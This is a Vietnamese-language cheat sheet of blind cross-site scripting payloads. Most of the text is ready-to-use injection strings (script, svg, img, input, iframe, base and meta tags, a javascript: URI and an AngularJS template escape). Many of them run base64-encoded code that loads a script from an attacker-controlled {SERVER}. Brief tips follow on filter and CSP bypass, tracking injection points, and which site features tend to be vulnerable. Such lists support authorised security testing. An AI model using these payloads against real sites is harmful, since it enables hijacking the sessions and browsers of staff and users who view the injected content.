Payload inject external script cơ bản:
'"><script src="{SERVER}/script.js"></script>
Bypass nếu bị block thẻ <script>
:
'"><svg onload="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
Giá trị của id
khi được decode ra là:
const x=document.createElement('script');x.src='{SERVER}/script.js';document.body.appendChild(x);
Một vài payload khác nâng cao hơn để bypass filters:
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Thử thêm một chuỗi ngẫu nhiên hoặc từ khóa vào payload để theo dõi các injection point của bạn. Điều này sẽ giúp bạn rất nhiều sau này khi cần xác định trang web nào hoặc component nào bị lỗi.
Các tính năng có thể bị dính blind XSS:
- Các form feedback (đặc biệt là khi công ty không sử dụng các nhà cung cấp bên thứ ba cho tính năng này).
- Các tham số được xử lý bởi các công cụ phân tích (các tham số UTM hoặc bất kỳ tham số nào khác được sử dụng để theo dõi như
ref
). - Các header request được xử lý bởi các công cụ phân tích (các
Referer
header hầu như luôn được phân tích). - Blog và docs
- Hóa đơn hoặc biên lai cho các đơn hàng